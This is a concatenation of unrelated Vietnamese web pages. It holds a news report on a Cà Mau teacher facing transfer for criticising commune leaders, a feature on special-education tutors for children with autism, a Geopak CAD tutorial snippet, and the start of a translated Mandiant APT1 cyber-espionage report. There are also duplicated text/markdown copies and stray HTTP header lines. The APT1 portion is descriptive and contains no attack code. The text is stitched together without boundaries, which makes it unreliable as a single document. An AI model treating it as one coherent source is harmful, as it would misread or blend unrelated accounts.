Nội dung thư mời của Phòng GD-ĐT H.Thới Bình nêu rõ: Qua biên bản xác minh ngày 27.2, bà Hoàng Thị Phượng chỉ xác nhận nickname “Hoangha” là của bà Phượng, còn nickname “H.Phuong” thì bà Phượng không thừa nhận. Đồng thời bà Phượng cho rằng việc đăng tải thông tin trên zalo là cảm xúc cá nhân chứ không ám chỉ ai cả. Nhận thấy việc xác minh vẫn còn một số bất cập do thông tin bà Phượng đăng tải chỉ nói chung chung, không nêu tên cá nhân hay tổ chức nào nên Phòng GD-ĐT mời bà Phượng làm việc với lãnh đạo phòng để xác minh thếm số nội dung nhằm thu thập thông tin 1 cách đầy đủ, đa chiều…
Như Thanh Niên thông tin, UBND xã Tân Lộc có tờ trình gửi UBND H.Thới Bình đề nghị xem xét điều chuyển công tác đối với cô giáo Hoàng Thị Phượng về đơn vị khác ngoài xã hoặc có hình thức xử lý.
Theo tờ trình của UBND xã Tân Lộc, lý do điều chuyển vì giáo viên này thường xuyên có thái độ, hành vi gây mất đoàn kết nội bộ, xúc phạm danh dự, nhân phẩm, uy tín người khác. Cụ thể là cô Phượng thường xuyên lên mạng xã hội nói xấu đồng nghiệp chia rẽ gây mất đoàn kết nội bộ; có hành vi, thái độ thiếu tôn trọng với lãnh đạo Đảng ủy xã.
Theo Thanhnien.Vn
Bài viết cùng chuyên mục
Bài đã đăng
- Nhà của Phó Chủ tịch tỉnh Cà Mau bị trộm viếng thăm
- Kéo dài chân 4,2 cm, chàng trai Cà Mau lần đầu đi được thăng bằng
- Tứ đại 'cao thủ' Cà Mau giật liên tục cá rô bằng mồi ong rừng và dế
- Cà Mau: Trường liên kết đào tạo 'chui', hàng loạt sinh viên bị dừng học
- Clip: Loài cá kỳ lạ nhất hành tinh 'chạy' lên bờ, chơi với ngư dân Cà Mau

markdown:
# Cà Mau: Mời 'cô giáo bị đề nghị điều chuyển vì nói xấu lãnh đạo xã'… lên làm việc
**Cô Hoàng Thị Phượng, giáo viên bị UBND xã Tân Lộc, H.Thới Bình (Cà Mau) đề nghị điều chuyển công tác vì nói xấu lãnh đạo, tiếp tục được Phòng GD-ĐT huyện mời lên làm việc.**
Liên quan việc cô Hoàng Thị Phượng, giáo viên trường THCS Tân Lộc (H.Thới Bình) bị đề nghị chuyển công tác vì… nói xấu lãnh đạo xã, ngày 11.3, cô Phượng cho biết, mình vừa nhận được thư mời làm việc của Phòng GD-ĐT huyện. “Phòng GD-ĐT huyện có thư mời tôi lên làm việc vào sáng 12.3. Tôi sẽ có mặt đúng giờ. Để xem phòng sẽ đưa ra kết quả xác minh như thế nào”, cô Phượng thông tin.
![Mời 'cô giáo bị đề nghị điều chuyển vì nói xấu lãnh đạo xã'... lên làm việc Ảnh 1 Mời 'cô giáo bị đề nghị điều chuyển vì nói xấu lãnh đạo xã'... lên làm việc - Ảnh 1](http://tinmientay.net/wp-content/plugins/lazy-load/images/1x1.trans.gif)
Trường THCS Tân Lộc, nơi cô Hoàng Thị Phượng công tác – Ảnh: Gia Bách
Nội dung thư mời của Phòng GD-ĐT H.Thới Bình nêu rõ: Qua biên bản xác minh ngày 27.2, bà Hoàng Thị Phượng chỉ xác nhận nickname “Hoangha” là của bà Phượng, còn nickname “H.Phuong” thì bà Phượng không thừa nhận. Đồng thời bà Phượng cho rằng việc đăng tải thông tin trên zalo là cảm xúc cá nhân chứ không ám chỉ ai cả. Nhận thấy việc xác minh vẫn còn một số bất cập do thông tin bà Phượng đăng tải chỉ nói chung chung, không nêu tên cá nhân hay tổ chức nào nên Phòng GD-ĐT mời bà Phượng làm việc với lãnh đạo phòng để xác minh thếm số nội dung nhằm thu thập thông tin 1 cách đầy đủ, đa chiều…
![Mời 'cô giáo bị đề nghị điều chuyển vì nói xấu lãnh đạo xã'... lên làm việc Ảnh 2 Mời 'cô giáo bị đề nghị điều chuyển vì nói xấu lãnh đạo xã'... lên làm việc - Ảnh 2](http://tinmientay.net/wp-content/plugins/lazy-load/images/1x1.trans.gif)
Thư mời cô Phượng làm việc vào ngày 12.3 – ẢNH: CÔ PHƯỢNG CUNG CẤP
Như Thanh Niên thông tin, UBND xã Tân Lộc có tờ trình gửi UBND H.Thới Bình đề nghị xem xét điều chuyển công tác đối với cô giáo Hoàng Thị Phượng về đơn vị khác ngoài xã hoặc có hình thức xử lý.
Theo tờ trình của UBND xã Tân Lộc, lý do điều chuyển vì giáo viên này thường xuyên có thái độ, hành vi gây mất đoàn kết nội bộ, xúc phạm danh dự, nhân phẩm, uy tín người khác. Cụ thể là cô Phượng thường xuyên lên mạng xã hội nói xấu đồng nghiệp chia rẽ gây mất đoàn kết nội bộ; có hành vi, thái độ thiếu tôn trọng với lãnh đạo Đảng ủy xã.
Theo
[Thanhnien.Vn](http://tinmientay.net/source.php?id=189686)
[Bài viết cùng chuyên mục](#bailienquan)
### Bài đã đăng
[Nhà của Phó Chủ tịch tỉnh Cà Mau bị trộm viếng thăm](http://tinmientay.net/nha-cua-pho-chu-tich-tinh-ca-mau-bi-trom-vieng-tham/) [Kéo dài chân 4,2 cm, chàng trai Cà Mau lần đầu đi được thăng bằng](http://tinmientay.net/keo-dai-chan-42-cm-chang-trai-ca-mau-lan-dau-di-duoc-thang-bang/) [Tứ đại 'cao thủ' Cà Mau giật liên tục cá rô bằng mồi ong rừng và dế](http://tinmientay.net/tu-dai-cao-thu-ca-mau-giat-lien-tuc-ca-ro-bang-moi-ong-rung-va-de/) [Cà Mau: Trường liên kết đào tạo 'chui', hàng loạt sinh viên bị dừng học](http://tinmientay.net/ca-mau-truong-lien-ket-dao-tao-chui-hang-loat-sinh-vien-bi-dung-hoc/) [Clip: Loài cá kỳ lạ nhất hành tinh 'chạy' lên bờ, chơi với ngư dân Cà Mau](http://tinmientay.net/clip-loai-ca-ky-la-nhat-hanh-tinh-chay-len-bo-choi-voi-ngu-dan-ca-mau/)

Vary: Cookie


text:
Tin trong nước →
Tin trong nước →
Tin trong nước →
Tin trong nước →
Can thiệp bằng cách nào?
“Rất nhiều sinh viên của khoa giáo dục đặc biệt mới chỉ năm thứ 2 đã có việc làm. Các em làm theo ca cho các trung tâm chuyên biệt, hoặc được phụ huynh trực tiếp mời để... đi học cùng con họ ở trường tiểu học” - TS Nguyễn Xuân Hải, trưởng khoa giáo dục đặc biệt Trường ĐH Sư phạm Hà Nội, cho biết.
Một kèm một
Vũ Thị Hoàn, một sinh viên học khoa giáo dục đặc biệt Trường ĐH Sư phạm Hà Nội vừa ra trường, là một giáo viên bận rộn. Không dễ gì gặp Hoàn, vì ngày nào cô cũng phải đến trường tiểu học đúng giờ như một đứa trẻ.
“Em phải có mặt sớm để đón bé từ cha mẹ bé, rồi cùng bé vào lớp học. Lớp học có 54 bạn. Bé mà em đang được cha mẹ nhờ kèm có biểu hiện tăng động, chậm phát triển, gặp khó khăn trong học tập. Để giúp bé, em phải ngồi cạnh bé trong tất cả các tiết học. Bé không có khả năng hiểu yêu cầu của cô giáo, nên mỗi khi cô yêu cầu học sinh làm gì thì em phải nhắc lại cho bé theo cách dễ hiểu hơn, giúp bé hoàn thành yêu cầu của cô, hoặc tìm cách giữ cho bé ngồi yên trong giờ học” - Hoàn kể về công việc của mình.
Với công việc như vậy, Hoàn cho biết cô nhận được 4,5 - 5 triệu đồng/tháng. Những giáo viên “một kèm một” này phải có sự nhẫn nại và gây dựng được tình cảm với đứa trẻ mới có thể cùng bé trên một hành trình mà không biết đích đến ở đâu.
“Chỉ để bé phân biệt được đâu là màu đỏ, đâu là màu vàng mà mất ròng rã mấy tháng trời. Nhưng khi bé làm được, không thể nào tả được hết niềm vui. Cũng chính từ những chật vật, vất vả đó của cả cô và trò nên em gắn bó với bé từ lúc nào không biết nữa” - Hoàn kể.
Theo Hoàn, lớp mà cô đi kèm học sinh có tới ba trường hợp như vậy. Mỗi học sinh đặc biệt có một cô giáo đặc biệt ngồi cạnh. Đó là cách duy nhất bố mẹ các bé chọn, để con có thể “hòa nhập”. Mặc dù các cô giáo chủ nhiệm đều thông cảm, tạo điều kiện cho “cô đặc biệt” vào lớp, và luôn hỏi han, động viên các bé, nhưng các cô không thể có bài học riêng, yêu cầu riêng hoặc phương pháp riêng với các bé trong điều kiện phải quản mấy chục học sinh khác.
Ngoài việc “một kèm một” ở lớp, nhiều phụ huynh còn thuê “giáo viên đặc biệt” cho con tại nhà. Phương Hà, sinh viên năm thứ 2 khoa giáo dục đặc biệt Trường ĐH Sư phạm Hà Nội, cho biết cô đang dạy kèm cho hai bé. Một bé chậm phát triển ngôn ngữ, còn một bé tự kỷ dạng thông minh.
“Khác với các chuyên ngành khác của trường sư phạm, lĩnh vực chúng tôi học chỉ cung cấp kiến thức, kỹ năng để mỗi người hiểu được vấn đề khó khăn của trẻ. Nhưng không có một mẫu giáo án, lộ trình nào được vạch sẵn. Với mỗi học sinh phải có một kế hoạch, một giáo án riêng do mình và cha mẹ các bé thống nhất. Bởi vậy, chúng tôi vừa làm vừa mày mò, vừa tham khảo ý kiến các thầy cô ở trường, đọc thêm tài liệu” - Phương Hà kể.
Các giáo viên dạy chuyên biệt cho biết việc “một kèm một” suôn sẻ chỉ khi phụ huynh có hiểu biết và cho con can thiệp sớm, đồng hành cùng cô giáo trong việc dạy con. Nhưng cũng không ít phụ huynh rơi vào tâm lý hoảng loạn, sốt ruột và kỳ vọng vào việc “can thiệp một thời gian ngắn, con có thể bình thường”. Vì thế, các cô giáo kèm học sinh không tránh khỏi đôi khi bị cha mẹ các bé nghi ngờ về trình độ, hoặc do quá sốt ruột thuê nhiều người can thiệp cùng lúc.
“Với trường hợp thuê nhiều giáo viên đặc biệt can thiệp theo ca thì các cô cần thống nhất về phương pháp. Nhưng có nhiều phụ huynh lại dùng cô này để kiểm soát, đánh giá cô kia, biến các bé thành đối tượng thí nghiệm” - Lê Thị Lý, một cô giáo đặc biệt từng đi kèm trẻ, nhận xét.
Vào trung tâm chuyên biệt
Cô Đoàn Tố Quyên - giáo viên tại Trung tâm Hi Vọng, một trong những trung tâm tư vấn, can thiệp sớm và dạy trẻ chậm phát triển trí tuệ ở Hà Nội - chia sẻ: không ít trẻ được gia đình quan tâm, phát hiện bất thường từ nhỏ, đầu tư can thiệp sớm một cách bài bản nên đã có những kết quả rất khả quan. Tuy nhiên, thấy con mình tiến bộ, nhiều phụ huynh đã nghĩ “con mình bình thường rồi” nên vội vàng tìm trường tốt để con hoàn toàn học hòa nhập, không theo những chương trình chuyên biệt.
“Gần đây nhất là trường hợp một học sinh từng được can thiệp sớm từ lúc 2 tuổi. Khi bé 5 tuổi và đã có cải thiện vượt bậc thì gia đình tự động đưa con ra học hòa nhập. Đáng tiếc, lựa chọn đó không phù hợp. Gia đình lại vừa phải đưa bé trở lại trung tâm, sau khi đã cố cho bé theo học hết lớp 3 ở môi trường hòa nhập hoàn toàn. Hiện tại, sự phát triển của bé trai này thậm chí còn không bằng hồi bé học ở trung tâm lúc 5 tuổi” - cô Quyên xót xa.
Cũng tại Trung tâm Hi Vọng, một bé gái khác vừa được cha mẹ chuyển từ Trường tiểu học DV (Hà Nội) về hẳn trung tâm. Bé H. đang học lớp 3, nhưng khi kiểm tra nhanh khả năng tiếp thu thì bé không bằng bé học lớp 1. Tuy nhiên, các cô giáo ở Trung tâm Hi Vọng cho biết H. tỏ ra nhanh nhẹn, vui vẻ hơn khi ở trung tâm, vì bé không phải chịu áp lực học tập như những đứa trẻ bình thường khác.
Một giáo viên ở Trung tâm Sen Hồng (Hà Nội) cho biết: “Chúng tôi phải tư vấn cho cha mẹ chấp nhận tình trạng của bé. Vì rất nhiều phụ huynh gửi con vào đây 1-2 tháng, vừa thấy có tiến bộ là muốn cho con chuyển đi. Không ít phụ huynh còn có tâm lý muốn tách con khỏi những bé bị nặng ở trung tâm, vì vẫn hi vọng con có thể trở lại bình thường” - một giáo viên cho biết.
Tại Trung tâm Ánh Sao (Hà Nội), một giáo viên ở đây cũng nhận xét: “Nhiều phụ huynh không có thời gian và cũng không còn hi vọng vào con nên phó mặc con cho trung tâm quản. Có người lại quá kỳ vọng. Cả hai tâm lý ấy đều cản trở trong việc hợp tác để can thiệp trẻ”.

markdown:
[](http://tintuctonghop.org/me-chong-di-vang-nang-dau-moi-tro-tai-nau-thit-rang-ca-tang-khien-ke-khoc-thet-nguoi-cuoi-vo-bung.html)
![ Mẹ chồng đi vắng, nàng dâu mới trổ tài nấu ](http://media.phunutoday.vn/resize/534x280/files/them.vu/2017/03/17/cong-dong-mang-1-2145-phunutoday.jpg)
[Mẹ chồng đi vắng, nàng dâu mới trổ tài nấu "thịt rang cả tảng" khiến kẻ "khóc thét" người "cười vỡ bụng"](http://tintuctonghop.org/me-chong-di-vang-nang-dau-moi-tro-tai-nau-thit-rang-ca-tang-khien-ke-khoc-thet-nguoi-cuoi-vo-bung.html) [Tin trong nước →](http://tintuctonghop.org/tin-trong-nuoc) [](http://tintuctonghop.org/vu-nu-giao-vien-mam-non-mang-bau-3-thang-bi-chong-sat-hai-nguoi-chong-co-bieu-hien-la-truoc-ngay-gay-an.html)
![ Vụ nữ giáo viên mầm non mang bầu 3 tháng bị chồng sát hại: Người chồng có biểu hiện ](http://media.phunutoday.vn/resize/534x280/files/them.vu/2017/03/17/chong-giet-vo-2-2231-phunutoday.jpg)
[Vụ nữ giáo viên mầm non mang bầu 3 tháng bị chồng sát hại: Người chồng có biểu hiện "lạ" trước ngày gây án](http://tintuctonghop.org/vu-nu-giao-vien-mam-non-mang-bau-3-thang-bi-chong-sat-hai-nguoi-chong-co-bieu-hien-la-truoc-ngay-gay-an.html) [Tin trong nước →](http://tintuctonghop.org/tin-trong-nuoc) [](http://tintuctonghop.org/so-mi-hoa-tiet-nhi-thanh-lich-xu-huong-thoi-trang-vintage-len-ngoi-trong-nam-2017.html)
![ Sơ mi họa tiết nhí thanh lịch - xu hướng thời trang vintage lên ngôi trong năm 2017](http://media.phunutoday.vn/resize/534x280/files/news/2017/03/17/so-mi-hoa-tiet-nhi-thanh-lich--xu-huong-thoi-trang-vintage-len-ngoi-trong-nam-2017-155936.jpg)
[Sơ mi họa tiết nhí thanh lịch - xu hướng thời trang vintage lên ngôi trong năm 2017](http://tintuctonghop.org/so-mi-hoa-tiet-nhi-thanh-lich-xu-huong-thoi-trang-vintage-len-ngoi-trong-nam-2017.html) [Tin trong nước →](http://tintuctonghop.org/tin-trong-nuoc) [](http://tintuctonghop.org/diem-tin-moi-18-03-nguoi-dan-ong-nghi-bat-coc-tre-em-bi-danh-o-hung-yen-va-su-that-phia-sau.html)
![ Điểm tin mới 18/03: Người đàn ông nghi bắt cóc trẻ em bị đánh ở Hưng Yên và sự thật phía sau](http://media.phunutoday.vn/resize/534x280/files/them.vu/2017/03/17/diem-tin-1-1919-phunutoday.jpg)
[Điểm tin mới 18/03: Người đàn ông nghi bắt cóc trẻ em bị đánh ở Hưng Yên và sự thật phía sau](http://tintuctonghop.org/diem-tin-moi-18-03-nguoi-dan-ong-nghi-bat-coc-tre-em-bi-danh-o-hung-yen-va-su-that-phia-sau.html) [Tin trong nước →](http://tintuctonghop.org/tin-trong-nuoc)
# Can thiệp bằng cách nào?
![]()
|Tại Trung tâm giáo dục Hi Vọng (Hà Nội) thông thường mỗi trẻ sẽ được 1-2 cô kèm trực tiếp và được dạy lặp đi lặp lại nhiều lần để giúp trẻ tập trung - Ảnh: Nam Trần|
“Rất nhiều sinh viên của khoa giáo dục đặc biệt mới chỉ năm thứ 2 đã có việc làm. Các em làm theo ca cho các trung tâm chuyên biệt, hoặc được phụ huynh trực tiếp mời để... đi học cùng con họ ở trường tiểu học” - TS Nguyễn Xuân Hải, trưởng khoa giáo dục đặc biệt Trường ĐH Sư phạm Hà Nội, cho biết.
Mỗi năm, khoa chúng tôi tổ chức một buổi tư vấn cho cha mẹ học sinh đặc biệt. Mặc dù chỉ thông báo trong ba ngày, nhưng có những buổi tư vấn thu hút đến 500-600 phụ huynh trên cả nước về Hà Nội tham dự. Điều này cho thấy nhu cầu của phụ huynh ngày càng nhiều
|TS NGUYỄN XUÂN HẢI|
Một kèm một
Vũ Thị Hoàn, một sinh viên học khoa giáo dục đặc biệt Trường ĐH Sư phạm Hà Nội vừa ra trường, là một giáo viên bận rộn. Không dễ gì gặp Hoàn, vì ngày nào cô cũng phải đến trường tiểu học đúng giờ như một đứa trẻ.
“Em phải có mặt sớm để đón bé từ cha mẹ bé, rồi cùng bé vào lớp học. Lớp học có 54 bạn. Bé mà em đang được cha mẹ nhờ kèm có biểu hiện tăng động, chậm phát triển, gặp khó khăn trong học tập. Để giúp bé, em phải ngồi cạnh bé trong tất cả các tiết học. Bé không có khả năng hiểu yêu cầu của cô giáo, nên mỗi khi cô yêu cầu học sinh làm gì thì em phải nhắc lại cho bé theo cách dễ hiểu hơn, giúp bé hoàn thành yêu cầu của cô, hoặc tìm cách giữ cho bé ngồi yên trong giờ học” - Hoàn kể về công việc của mình.
Với công việc như vậy, Hoàn cho biết cô nhận được 4,5 - 5 triệu đồng/tháng. Những giáo viên “một kèm một” này phải có sự nhẫn nại và gây dựng được tình cảm với đứa trẻ mới có thể cùng bé trên một hành trình mà không biết đích đến ở đâu.
“Chỉ để bé phân biệt được đâu là màu đỏ, đâu là màu vàng mà mất ròng rã mấy tháng trời. Nhưng khi bé làm được, không thể nào tả được hết niềm vui. Cũng chính từ những chật vật, vất vả đó của cả cô và trò nên em gắn bó với bé từ lúc nào không biết nữa” - Hoàn kể.
Theo Hoàn, lớp mà cô đi kèm học sinh có tới ba trường hợp như vậy. Mỗi học sinh đặc biệt có một cô giáo đặc biệt ngồi cạnh. Đó là cách duy nhất bố mẹ các bé chọn, để con có thể “hòa nhập”. Mặc dù các cô giáo chủ nhiệm đều thông cảm, tạo điều kiện cho “cô đặc biệt” vào lớp, và luôn hỏi han, động viên các bé, nhưng các cô không thể có bài học riêng, yêu cầu riêng hoặc phương pháp riêng với các bé trong điều kiện phải quản mấy chục học sinh khác.
Ngoài việc “một kèm một” ở lớp, nhiều phụ huynh còn thuê “giáo viên đặc biệt” cho con tại nhà. Phương Hà, sinh viên năm thứ 2 khoa giáo dục đặc biệt Trường ĐH Sư phạm Hà Nội, cho biết cô đang dạy kèm cho hai bé. Một bé chậm phát triển ngôn ngữ, còn một bé tự kỷ dạng thông minh.
“Khác với các chuyên ngành khác của trường sư phạm, lĩnh vực chúng tôi học chỉ cung cấp kiến thức, kỹ năng để mỗi người hiểu được vấn đề khó khăn của trẻ. Nhưng không có một mẫu giáo án, lộ trình nào được vạch sẵn. Với mỗi học sinh phải có một kế hoạch, một giáo án riêng do mình và cha mẹ các bé thống nhất. Bởi vậy, chúng tôi vừa làm vừa mày mò, vừa tham khảo ý kiến các thầy cô ở trường, đọc thêm tài liệu” - Phương Hà kể.
Các giáo viên dạy chuyên biệt cho biết việc “một kèm một” suôn sẻ chỉ khi phụ huynh có hiểu biết và cho con can thiệp sớm, đồng hành cùng cô giáo trong việc dạy con. Nhưng cũng không ít phụ huynh rơi vào tâm lý hoảng loạn, sốt ruột và kỳ vọng vào việc “can thiệp một thời gian ngắn, con có thể bình thường”. Vì thế, các cô giáo kèm học sinh không tránh khỏi đôi khi bị cha mẹ các bé nghi ngờ về trình độ, hoặc do quá sốt ruột thuê nhiều người can thiệp cùng lúc.
“Với trường hợp thuê nhiều giáo viên đặc biệt can thiệp theo ca thì các cô cần thống nhất về phương pháp. Nhưng có nhiều phụ huynh lại dùng cô này để kiểm soát, đánh giá cô kia, biến các bé thành đối tượng thí nghiệm” - Lê Thị Lý, một cô giáo đặc biệt từng đi kèm trẻ, nhận xét.
Vào trung tâm chuyên biệt
Cô Đoàn Tố Quyên - giáo viên tại Trung tâm Hi Vọng, một trong những trung tâm tư vấn, can thiệp sớm và dạy trẻ chậm phát triển trí tuệ ở Hà Nội - chia sẻ: không ít trẻ được gia đình quan tâm, phát hiện bất thường từ nhỏ, đầu tư can thiệp sớm một cách bài bản nên đã có những kết quả rất khả quan. Tuy nhiên, thấy con mình tiến bộ, nhiều phụ huynh đã nghĩ “con mình bình thường rồi” nên vội vàng tìm trường tốt để con hoàn toàn học hòa nhập, không theo những chương trình chuyên biệt.
“Gần đây nhất là trường hợp một học sinh từng được can thiệp sớm từ lúc 2 tuổi. Khi bé 5 tuổi và đã có cải thiện vượt bậc thì gia đình tự động đưa con ra học hòa nhập. Đáng tiếc, lựa chọn đó không phù hợp. Gia đình lại vừa phải đưa bé trở lại trung tâm, sau khi đã cố cho bé theo học hết lớp 3 ở môi trường hòa nhập hoàn toàn. Hiện tại, sự phát triển của bé trai này thậm chí còn không bằng hồi bé học ở trung tâm lúc 5 tuổi” - cô Quyên xót xa.
Cũng tại Trung tâm Hi Vọng, một bé gái khác vừa được cha mẹ chuyển từ Trường tiểu học DV (Hà Nội) về hẳn trung tâm. Bé H. đang học lớp 3, nhưng khi kiểm tra nhanh khả năng tiếp thu thì bé không bằng bé học lớp 1. Tuy nhiên, các cô giáo ở Trung tâm Hi Vọng cho biết H. tỏ ra nhanh nhẹn, vui vẻ hơn khi ở trung tâm, vì bé không phải chịu áp lực học tập như những đứa trẻ bình thường khác.
Một giáo viên ở Trung tâm Sen Hồng (Hà Nội) cho biết: “Chúng tôi phải tư vấn cho cha mẹ chấp nhận tình trạng của bé. Vì rất nhiều phụ huynh gửi con vào đây 1-2 tháng, vừa thấy có tiến bộ là muốn cho con chuyển đi. Không ít phụ huynh còn có tâm lý muốn tách con khỏi những bé bị nặng ở trung tâm, vì vẫn hi vọng con có thể trở lại bình thường” - một giáo viên cho biết.
Tại Trung tâm Ánh Sao (Hà Nội), một giáo viên ở đây cũng nhận xét: “Nhiều phụ huynh không có thời gian và cũng không còn hi vọng vào con nên phó mặc con cho trung tâm quản. Có người lại quá kỳ vọng. Cả hai tâm lý ấy đều cản trở trong việc hợp tác để can thiệp trẻ”.
Sinh viên “kèm cặp” có thể khiến trẻ thêm thiệt thòi
Ghi nhận từ khoa giáo dục đặc biệt Trường ĐH Sư phạm TP.HCM cho thấy phần lớn sinh viên năm 3, năm 4 của khoa đã có việc làm ngay khi chưa ra trường. Những sinh viên này thường được các gia đình thuê về để chăm sóc, giáo dục trẻ đặc biệt.
Theo số liệu từ Trung tâm Hỗ trợ giáo dục hòa nhập TP.HCM, chỉ từ tháng 6 đến giữa tháng 12-2015 đã có gần 400 trẻ được phụ huynh đưa đến thăm khám tại đây. Đa số được chẩn đoán tự kỷ hoặc chậm nói. Số lượng trẻ khuyết tật ngày càng gia tăng, nhu cầu về giáo dục đặc biệt càng gia tăng, nhưng nhân lực của ngành này vẫn đang thiếu trầm trọng.
Theo ông Nguyễn Thanh Tâm - giám đốc Trung tâm Hỗ trợ giáo dục hòa nhập TP.HCM, phó trưởng ban thường trực chỉ đạo giáo dục khuyết tật (Sở GD-ĐT TP.HCM), việc gia đình thuê sinh viên giáo dục đặc biệt kèm con em mình là chưa đủ để cải thiện tình hình của trẻ, giúp trẻ tiến bộ. Thậm chí trong một số trường hợp, việc này có thể có kết quả ngược lại.
“Giáo dục đặc biệt khác với giáo dục phổ thông. Sinh viên sư phạm phổ thông, năm 3 năm 4 có thể đi dạy một số môn, nhưng sinh viên giáo dục đặc biệt thì chưa đủ trưởng thành và kinh nghiệm để dẫn dắt trẻ, nhất là trong một số lĩnh vực khó như trẻ tự kỷ. Sinh viên giáo dục đặc biệt phải có hai, ba năm lăn lộn với nghề; được bồi dưỡng thường xuyên, hằng ngày các phương pháp tiếp cận trẻ mới có thể có phương pháp đúng để đồng hành cùng trẻ. Nếu gia đình thuê sinh viên kèm cặp trẻ, hướng dẫn trẻ và coi đây như một cô giáo, thầy giáo để cải thiện tình hình của trẻ thì có thể khiến đứa trẻ thiệt thòi thêm, mất thời gian, cơ hội để đưa ra hướng điều trị đúng cho đứa trẻ” - ông Tâm nhận định.
MỸ DUNG
**VĨNH HÀ - NGỌC HÀ (chuhongvan@tuoitre.com.vn)** [](http://tintuctonghop.org/hari-won-meo-mat-khi-nghe-truong-giang-xui-bo-nguoi-yeu.html) ![ Hari Won méo mặt khi nghe Trường Giang xúi bỏ người yêu](http://tintuctonghop.org/data/news////large/)
[Hari Won méo mặt khi nghe Trường Giang xúi bỏ người yêu](http://tintuctonghop.org/hari-won-meo-mat-khi-nghe-truong-giang-xui-bo-nguoi-yeu.html)

X-Cache-Status: MISS


text:
Geopak - Tạo bề mặt tự nhiên
Bản vẽ cad có cao độ dạng điểm
Lọc lớp layer cao độ hiện trạng
Chọn lớp cao độ hiện trạng, có thể lọc nhiều thuộc tính: cao độ...
Đưa nhóm lọc cao độ hiện trạng lên dữ liệu bề mặt
Bề mặt xây dựng xong với kiểu thể hiện lưới tam giác
Có thể lựa chọn các dạng thể hiện bề mặt thông qua lựa chọn thuộc tính của bề mặt
==========================================================================================
CÁC HÌNH THỨC ĐÀO TẠO
1- Học online, thông qua file video có thuyết minh tiếng Việt, thời gian học mọi lúc, mọi nơi;
2- Học offline tại địa chỉ 399/25 Nguyễn Đình Chiểu, quận 3, tp. HCM, thời gian linh động;
3- Học tại văn phòng các công ty tư vấn, nhóm học viên, thời gian linh động.
===========================================================================
Biên soạn: Phạm Ngọc Sáu
Lượt xem: 635

markdown:
# Geopak - Tạo bề mặt tự nhiên
Bản vẽ cad có cao độ dạng điểm
Lọc lớp layer cao độ hiện trạng
Chọn lớp cao độ hiện trạng, có thể lọc nhiều thuộc tính: cao độ...
Đưa nhóm lọc cao độ hiện trạng lên dữ liệu bề mặt
Bề mặt xây dựng xong với kiểu thể hiện lưới tam giác
Có thể lựa chọn các dạng thể hiện bề mặt thông qua lựa chọn thuộc tính của bề mặt
==========================================================================================
CÁC HÌNH THỨC ĐÀO TẠO
1- Học online, thông qua file video có thuyết minh tiếng Việt, thời gian học mọi lúc, mọi nơi;
2- Học offline tại địa chỉ 399/25 Nguyễn Đình Chiểu, quận 3, tp. HCM, thời gian linh động;
3- Học tại văn phòng các công ty tư vấn, nhóm học viên, thời gian linh động.
===========================================================================
Biên soạn:
** Phạm Ngọc Sáu**
Lượt xem:
**635**


text:
(Chuyên đề) - MANDIANT – APT1
TIẾT LỘ VỀ MỘT TRONG NHỮNG ĐƠN VỊ GIÁN ĐIỆP MẠNG CỦA TRUNG QUỐC
“Gián điệp kinh tế Trung Quốc đã vượt quá giới hạn, tôi tin rằng Mỹ và các đồng minh tại Châu Âu và Châu Á có nghĩa vụ chống lại Bắc Kinh và yêu cầu họ chấm dứt hành động trộm cắp này.
Bắc Kinh đang tiến hành một cuộc chiến tranh thương mại khổng lồ nhằm vào tất cả chúng ta, do đó chúng ta cần đoàn kết để gây áp lực buộc Trung Quốc phải dừng lại. Khi kết hợp lại, Mỹ cùng các đồng minh Châu Âu và Châu Á sẽ tạo ra áp lực đòn bẩy ngoại giao và kinh tế vô cùng to lớn đối với Trung Quốc, vì vậy chúng ta nên sử dụng lợi thế này để chấm dứt mối tai họa này.”[1]
- Dân biểu Mỹ Mike Rogers, tháng 10/2011
“Thật thiếu trách nhiệm và vô căn cứ khi cáo buộc quân đội Trung Quốc phát động các cuộc tấn công mạng mà không có bất cứ bằng chứng thuyết phục nào.”[2]
- Bộ Quốc phòng Trung Quốc, tháng 01/2013
PHẦN 2: APT1 – NHIỀU NĂM TIẾN HÀNH HOẠT ĐỘNG GIÁN ĐIỆP
Những chứng cứ chúng tôi thu thập đã chỉ ra rằng, APT1 đã đánh cắp hành trăm terabytes dữ liệu từ ít nhất 141 tổ chức đang hoạt động trong một loạt ngành công nghiệp kể từ năm 2006. Đáng ngại hơn, APT1 từng phát động tấn công hàng chục tổ chức cùng một lúc. Một khi đã thành công thiết lập quyền truy cập vào hệ thống máy tính của nạn nhân, APT1 sẽ tiếp tục truy cập theo định kỳ vài tháng hoặc vài năm nhằm đánh cắp khối lượng lớn sở hữu trí tuệ có giá trị, bao gồm các bản thiết kế kỹ thuật, quy trình sản xuất độc quyền, các kết quả thử nghiệm, kế hoạch kinh doanh, các tài liệu định giá, thỏa thuận hợp tác, email và danh sách liên lạc từ ban lãnh đạo các tổ chức nạn nhân. Chúng tôi cho rằng, những hoạt động Mandiant trực tiếp theo dõi được chỉ là một phần nhỏ trong số các hoạt động gián điệp mà APT1 đã tiến hành.
APT1 đặt ra mối lo ngại “dai dẳng” về các cuộc tấn công APT
Từ năm 2006 chúng tôi đã chứng kiến APT1 liên tục gia tăng khả năng tiếp cận các nạn nhân mới. Hình 10 cho thấy dòng thời gian xảy ra 141 vụ xâm nhập mà chúng tôi quan sát được, mỗi điểm đánh dấu trên hình đại diện cho một nạn nhân riêng biệt và cho thấy ngày phát hiện sớm nhất cuộc tấn công của APT1 trên hệ thống mạng của tổ chức nạn nhân. [23]
Do tính chất không bền vững của các chứng cứ điện tử, một số ngày phát hiện các cuộc tấn công của APT1 được liệt kê trên hình có thể không đúng với thời gian hoạt động thực tế của APT1 trên các hệ thống bị nhiễm.
Một khi đã thành công xâm nhập vào mạng lưới, tổ chức APT1 sẽ liên tục giám sát và đánh cắp các dữ liệu độc quyền cũng như thông tin liên lạc của nạn nhân trong nhiều tháng, thậm chí nhiều năm. Đối với các tổ chức nạn nhân được liệt kê trong Hình 10, chúng ta thấy rằng APT1 đã giữ quyền truy cập vào mạng lưới máy tính của nạn nhân trung bình trong 356 ngày [24]. Thời gian APT1 duy trì quyền truy cập dài nhất vào hệ thống máy tính nạn nhân là ít nhất 1.764 ngày, tương đương 4 năm 10 tháng. APT1 không liên tục truy cập trong suốt khoảng thời gian này; tuy nhiên trong phần lớn trường hợp chúng tôi quan sát, APT1 đều tiếp tục đánh cắp dữ liệu cũng như truy cập vào các hệ thống bị nhiễm.
Khu vực địa lý và ngành công nghiệp trọng điểm của APT1
